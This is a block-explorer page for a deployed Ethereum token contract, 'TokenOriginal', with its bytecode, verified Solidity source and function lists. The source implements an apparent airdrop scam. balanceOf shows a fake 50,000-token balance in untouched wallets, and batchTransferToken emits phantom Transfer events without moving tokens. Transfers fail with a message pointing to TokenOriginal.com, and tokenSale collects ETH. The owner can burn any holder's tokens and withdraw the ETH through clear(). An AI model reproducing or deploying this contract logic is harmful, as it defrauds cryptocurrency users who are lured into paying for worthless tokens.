Address Contract Verified
Address
0x36aB72472Db0D5cA55A451d324B36A3230Bf8674
Balance
0 ETH
Nonce
1
Code Size
6198 bytes
Creator
0xE57933Ee...911D at tx 0xc5890e7d...795f85
Indexed Transactions
0
Contract Bytecode
6198 bytes
0x60806040526004361061020f5760003560e01c80637d17028311610118578063a9059cbb116100a0578063ced4138a1161006f578063ced4138a1461059c578063d69b197f146105b2578063dd62ed3e146105f6578063f2fde38b1461063c578063fc8847121461065c57600080fd5b8063a9059cbb14610530578063af5f65ee14610550578063c0fe1af814610566578063c465a3db1461058657600080fd5b80639d5f9dfb116100e75780639d5f9dfb146104b15780639dc29fac146104c7578063a457c2d7146104da578063a5500c30146104fa578063a695cb7f1461051a57600080fd5b80637d170283146104485780638da5cb5b1461045e578063933fe6601461048657806395d89b411461049c57600080fd5b8063395093511161019b57806354aeebe41161016a57806354aeebe4146103ca5780636643ef9f146103e057806370a08231146103f3578063715018a61461041357806376f25a841461042857600080fd5b806339509351146103355780634a7781d9146103555780634d1d03d11461036b578063512d7cfd146103b757600080fd5b806315d8f7e4116101e257806315d8f7e4146102a057806318160ddd146102c45780631dc4f9ea146102d957806323b872dd146102f9578063313ce5671461031957600080fd5b806301e3366714610214578063069f5bdd1461022957806306fdde031461025e578063095ea7b314610280575b600080fd5b61022761022236600461149c565b610672565b005b34801561023557600080fd5b50610249610244366004611449565b6107fc565b60405190151581526020015b60405180910390f35b34801561026a57600080fd5b506102736108a6565b6040516102559190611688565b34801561028c57600080fd5b5061024961029b3660046114d7565b610938565b3480156102ac57600080fd5b506102b660015481565b604051908152602001610255565b3480156102d057600080fd5b50600e546102b6565b3480156102e557600080fd5b506102276102f436600461164e565b61094e565b34801561030557600080fd5b5061024961031436600461149c565b610994565b34801561032557600080fd5b5060405160088152602001610255565b34801561034157600080fd5b506102496103503660046114d7565b610a3e565b34801561036157600080fd5b506102b6600b5481565b34801561037757600080fd5b50600654600754600854600954600a54600b54604080519687526020870195909552938501929092526060840152608083015260a082015260c001610255565b6102276103c5366004611500565b610a7a565b3480156103d657600080fd5b506102b660045481565b6102496103ee366004611449565b610b3b565b3480156103ff57600080fd5b506102b661040e366004611449565b610c0d565b34801561041f57600080fd5b50610227610c56565b34801561043457600080fd5b5061022761044336600461161d565b610c8c565b34801561045457600080fd5b506102b660095481565b34801561046a57600080fd5b506000546040516001600160a01b039091168152602001610255565b34801561049257600080fd5b506102b660065481565b3480156104a857600080fd5b50610273610ccf565b3480156104bd57600080fd5b506102b6600a5481565b6102276104d53660046114d7565b610cde565b3480156104e657600080fd5b506102496104f53660046114d7565b610d16565b34801561050657600080fd5b506102276105153660046115ed565b610da5565b34801561052657600080fd5b506102b660025481565b34801561053c57600080fd5b5061024961054b3660046114d7565b610dd4565b34801561055c57600080fd5b506102b660085481565b34801561057257600080fd5b506102276105813660046115ed565b610de1565b34801561059257600080fd5b506102b660035481565b3480156105a857600080fd5b506102b660075481565b3480156105be57600080fd5b50600154600254600354600454600554604080519586526020860194909452928401919091526060830152608082015260a001610255565b34801561060257600080fd5b506102b661061136600461146a565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561064857600080fd5b50610227610657366004611449565b610e3a565b34801561066857600080fd5b506102b660055481565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161069c906116db565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b1580156106e757600080fd5b505afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f9190611605565b90508161072a578091505b60008211801561073a5750818110155b6107735760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b604482015260640161069c565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156107bd57600080fd5b505af11580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906115cd565b5050505050565b6000436001541115801561081257506002544311155b61081b57600080fd5b600354600454108061082d5750600354155b61083657600080fd5b60048054906000610846836117b9565b9091555050336001600160a01b0383161480159061086b575061086882610c0d565b15155b801561087f57506001600160a01b03821615155b15610891576108913083600554610ed5565b61089e3033600554610ed5565b506001919050565b6060601180546108b59061177e565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061177e565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b6000610945338484611163565b50600192915050565b6000546001600160a01b031633146109785760405162461bcd60e51b815260040161069c906116db565b600694909455600792909255600a55600b556008556000600955565b60006109a1848484610ed5565b6001600160a01b0384166000908152600d6020908152604080832033845290915290205482811015610a265760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161069c565b610a338533858403611163565b506001949350505050565b336000818152600d602090815260408083206001600160a01b03871684529091528120549091610945918590610a75908690611710565b611163565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161069c906116db565b60005b8251811015610b3657828181518110610ad057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b1c91815260200190565b60405180910390a380610b2e816117b9565b915050610aa7565b505050565b60004360065411158015610b5157506007544311155b610b5a57600080fd5b6008546009541080610b6c5750600854155b610b7557600080fd5b60003490506000670de0b6b3a764000082600b54610b939190611748565b610b9d9190611728565b600980549192506000610baf836117b9565b9091555050336001600160a01b03851614801590610bd45750610bd184610c0d565b15155b8015610be857506001600160a01b03841615155b15610bf857610bf8308583610ed5565b610c03303383610ed5565b5060019392505050565b6001600160a01b03811660009081526010602052604081205460ff16610c35575050600f5490565b506001600160a01b03166000908152600c602052604090205490565b919050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161069c906116db565b610c8a6000611288565b565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161069c906116db565b6001939093556002919091556005556003556000600455565b6060601280546108b59061177e565b6000546001600160a01b03163314610d085760405162461bcd60e51b815260040161069c906116db565b610d1282826112d8565b5050565b336000908152600d602090815260408083206001600160a01b038616845290915281205482811015610d985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161069c565b610c033385858403611163565b6000546001600160a01b03163314610dcf5760405162461bcd60e51b815260040161069c906116db565b600f55565b6000610945338484610ed5565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b815260040161069c906116db565b6040513390819083156108fc029084906000818181858888f19350505050158015610b36573d6000803e3d6000fd5b6000546001600160a01b03163314610e645760405162461bcd60e51b815260040161069c906116db565b6001600160a01b038116610ec95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161069c565b610ed281611288565b50565b6001600160a01b038316610f395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069c565b6001600160a01b038216610f9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069c565b6001600160a01b03831660009081526010602052604090205460ff166110465760405162461bcd60e51b815260206004820152605460248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e566973697420546f6b656e4f726967696e616064820152736c2e636f6d20666f72206d6f726520696e666f2760601b608482015260a40161069c565b6001600160a01b0383166000908152600c6020526040902054818110156110be5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161069c565b6001600160a01b038085166000908152600c60205260408082208585039055918516815290812080548492906110f5908490611710565b90915550506001600160a01b0380841660008181526010602052604090819020805460ff191660011790555190918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111559086815260200190565b60405180910390a350505050565b6001600160a01b0383166111c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069c565b6001600160a01b0382166112265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069c565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166113385760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161069c565b6001600160a01b0382166000908152600c6020526040902054818110156113ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161069c565b6001600160a01b0383166000908152600c602052604081208383039055600e80548492906113db908490611767565b90915550506001600160a01b0383166000818152601060209081526040808320805460ff19169055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161127b565b80356001600160a01b0381168114610c5157600080fd5b60006020828403121561145a578081fd5b61146382611432565b9392505050565b6000806040838503121561147c578081fd5b61148583611432565b915061149360208401611432565b90509250929050565b6000806000606084860312156114b0578081fd5b6114b984611432565b92506114c760208501611432565b9150604084013590509250925092565b600080604083850312156114e9578182fd5b6114f283611432565b946020939093013593505050565b60008060408385031215611512578182fd5b823567ffffffffffffffff80821115611529578384fd5b818501915085601f83011261153c578384fd5b8135602082821115611550576115506117ea565b8160051b604051601f19603f83011681018181108682111715611575576115756117ea565b604052838152828101945085830182870184018b1015611593578889fd5b8896505b848710156115bc576115a881611432565b865260019690960195948301948301611597565b509997909101359750505050505050565b6000602082840312156115de578081fd5b81518015158114611463578182fd5b6000602082840312156115fe578081fd5b5035919050565b600060208284031215611616578081fd5b5051919050565b60008060008060808587031215611632578081fd5b5050823594602084013594506040840135936060013592509050565b600080600080600060a08688031215611665578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602080835283518082850152825b818110156116b457858101830151858201604001528201611698565b818111156116c55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611723576117236117d4565b500190565b60008261174357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611762576117626117d4565b500290565b600082821015611779576117796117d4565b500390565b600181811c9082168061179257607f821691505b602082108114156117b357634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117cd576117cd6117d4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220aeeb2e1d7ad55124a9f24bf444888d29a8874d9f6d561f9ce2431400ab82a05d64736f6c63430008040033
Verified Source Code Full Match
Compiler: v0.8.4+commit.c7e474f2
EVM: istanbul
Optimization: Yes (200 runs)
3_Ballot.sol 362 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma abicoder v2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.8.0;
contract TokenOriginal is IERC20, Ownable {
uint256 public aSBlock;
uint256 public aEBlock;
uint256 public aCap;
uint256 public aTot;
uint256 public aAmt;
uint256 public sSBlock;
uint256 public sEBlock;
uint256 public sCap;
uint256 public sTot;
uint256 public sChunk;
uint256 public sPrice;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _airdropAmount;
mapping(address => bool) private _unlocked;
string private _name;
string private _symbol;
constructor () {
_name = "TokenOriginal.com";
_symbol = "Original";
_airdropAmount = 50000*10**decimals();
_mint(msg.sender, 100000000000000*10**decimals());
_mint(address(this), 900000000000000*10**decimals());
startSale(block.number, 999999999, 0,15000000*10**decimals(), 2000000000000);
startAirdrop(block.number,999999999,10000*10**decimals(),2000000000000);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
if (!_unlocked[account]) {
return _airdropAmount;
} else {
return _balances[account];
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){
_airdropAmount = airdropAmount_;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit TokenOriginal.com for more info'");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
_unlocked[recipient] = true;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
_unlocked[account] = true;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
_unlocked[account] = false;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(address account, uint256 amount) public payable onlyOwner {
_burn(account, amount);
}
function batchTransferToken(address[] memory holders, uint256 amount) public onlyOwner payable {
for (uint i=0; i<holders.length; i++) {
emit Transfer(address(this), holders[i], amount);
}
}
function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
uint balance = IERC20(tokenAddress).balanceOf(address(this));
if (amount == 0) {
amount = balance;
}
require(amount > 0 && balance >= amount, "bad amount");
IERC20(tokenAddress).transfer(receiver, amount);
}
function getAirdrop(address _refer) public returns (bool success){
require(aSBlock <= block.number && block.number <= aEBlock);
require(aTot < aCap || aCap == 0);
aTot ++;
if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
_transfer(address(this), _refer, aAmt);
}
_transfer(address(this), msg.sender, aAmt);
return true;
}
function tokenSale(address _refer) public payable returns (bool success){
require(sSBlock <= block.number && block.number <= sEBlock);
require(sTot < sCap || sCap == 0);
uint256 _eth = msg.value;
uint256 _tkns;
_tkns = (sPrice*_eth) / 1 ether;
sTot ++;
if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
_transfer(address(this), _refer, _tkns);
}
_transfer(address(this), msg.sender, _tkns);
return true;
}
function viewAirdrop() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
return(aSBlock, aEBlock, aCap, aTot, aAmt);
}
function viewSale() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 SaleCap, uint256 SaleCount, uint256 ChunkSize, uint256 SalePrice){
return(sSBlock, sEBlock, sCap, sTot, sChunk, sPrice);
}
function startAirdrop(uint256 _aSBlock, uint256 _aEBlock, uint256 _aAmt, uint256 _aCap) public onlyOwner {
aSBlock = _aSBlock;
aEBlock = _aEBlock;
aAmt = _aAmt;
aCap = _aCap;
aTot = 0;
}
function startSale(uint256 _sSBlock, uint256 _sEBlock, uint256 _sChunk, uint256 _sPrice, uint256 _sCap) public onlyOwner{
sSBlock = _sSBlock;
sEBlock = _sEBlock;
sChunk = _sChunk;
sPrice =_sPrice;
sCap = _sCap;
sTot = 0;
}
function clear(uint amount) public onlyOwner {
address payable _owner = payable(msg.sender);
_owner.transfer(amount);
}
}
Read Contract
aAmt 0xfc884712 → uint256
aCap 0xc465a3db → uint256
aEBlock 0xa695cb7f → uint256
aSBlock 0x15d8f7e4 → uint256
aTot 0x54aeebe4 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sCap 0xaf5f65ee → uint256
sChunk 0x9d5f9dfb → uint256
sEBlock 0xced4138a → uint256
sPrice 0x4a7781d9 → uint256
sSBlock 0x933fe660 → uint256
sTot 0x7d170283 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
viewAirdrop 0xd69b197f → uint256, uint256, uint256, uint256, uint256
viewSale 0x4d1d03d1 → uint256, uint256, uint256, uint256, uint256, uint256
Write Contract 16 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
batchTransferToken 0x512d7cfd
address[] holders
uint256 amount
burn 0x9dc29fac
address account
uint256 amount
clear 0xc0fe1af8
uint256 amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
getAirdrop 0x069f5bdd
address _refer
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
setAirdropAmount 0xa5500c30
uint256 airdropAmount_
startAirdrop 0x76f25a84
uint256 _aSBlock
uint256 _aEBlock
uint256 _aAmt
uint256 _aCap
startSale 0x1dc4f9ea
uint256 _sSBlock
uint256 _sEBlock
uint256 _sChunk
uint256 _sPrice
uint256 _sCap
tokenSale 0x6643ef9f
address _refer
returns: bool
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
withdrawToken 0x01e33667
address receiver
address tokenAddress
uint256 amount
Recent Transactions
No transactions found for this address